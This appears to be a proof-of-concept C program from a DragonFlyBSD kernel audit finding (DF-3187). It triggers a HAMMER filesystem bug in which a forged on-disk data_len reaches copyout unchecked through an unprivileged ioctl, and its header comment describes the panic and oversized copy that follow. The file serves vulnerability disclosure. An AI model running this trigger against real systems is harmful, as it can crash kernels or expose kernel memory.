⬢ DragonFlyBSD Kernel Audit
DF-3187 / trigger_scan.c
← back to finding ↓ download raw
/*
 * DF-3187 trigger: unprivileged HAMMERIOC_SCAN_PSEUDOFS on a PFS record
 * whose on-disk leaf data_len was forged out of range (e.g. -1).
 *
 * hammer_ioc_scan_pseudofs() (sys/vfs/hammer/hammer_pfs.c:363) uses the
 * raw on-disk leaf->data_len as copyout() length; before that,
 * hammer_btree_extract() (hammer_btree.c:736) only guards it with an
 * INVARIANTS-only KKASSERT.  On INVARIANTS kernels the KKASSERT panics;
 * on production kernels the negative length reaches hammer_bread_ext()
 * (HAMMER_BUFSIZE_DOALIGN(-1) == 0), the CRC computation (crc32 over
 * (size_t)-1 bytes) and copyout() with a sign-extended SIZE_MAX length.
 *
 * usage: ./trigger_scan <mounted-hammer-dir> <pfs_id>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "hammer_ioctl.h"

int
main(int argc, char **argv)
{
	struct hammer_ioc_pseudofs_rw *pfs;
	unsigned char *out;
	int fd;
	int r;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <dir> <pfs_id>\n", argv[0]);
		exit(2);
	}
	pfs = malloc(sizeof(*pfs));
	out = malloc(65536 + 4096);	/* catch a big copyout if it happens */
	memset(pfs, 0, sizeof(*pfs));
	memset(out, 0xAA, 65536 + 4096);

	pfs->pfs_id = atoi(argv[2]);
	pfs->bytes = sizeof(struct hammer_pseudofs_data);
	pfs->version = HAMMER_IOC_PSEUDOFS_VERSION;
	pfs->ondisk = (void *)out;

	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		exit(2);
	}
	printf("trigger: SCAN_PSEUDOFS pfs_id=%d on %s uid=%d\n",
	       pfs->pfs_id, argv[1], getuid());
	fflush(stdout);

	r = ioctl(fd, HAMMERIOC_SCAN_PSEUDOFS, pfs);
	printf("ioctl returned %d errno=%d (%s) head.error=%d pfs_id=%u\n",
	       r, errno, strerror(errno), pfs->head.error, pfs->pfs_id);
	if (r == 0 || pfs->head.error) {
		/* show first 32 bytes of what came back */
		for (int i = 0; i < 32; i++)
			printf("%02x", out[i]);
		printf("\n");
	}
	return (0);
}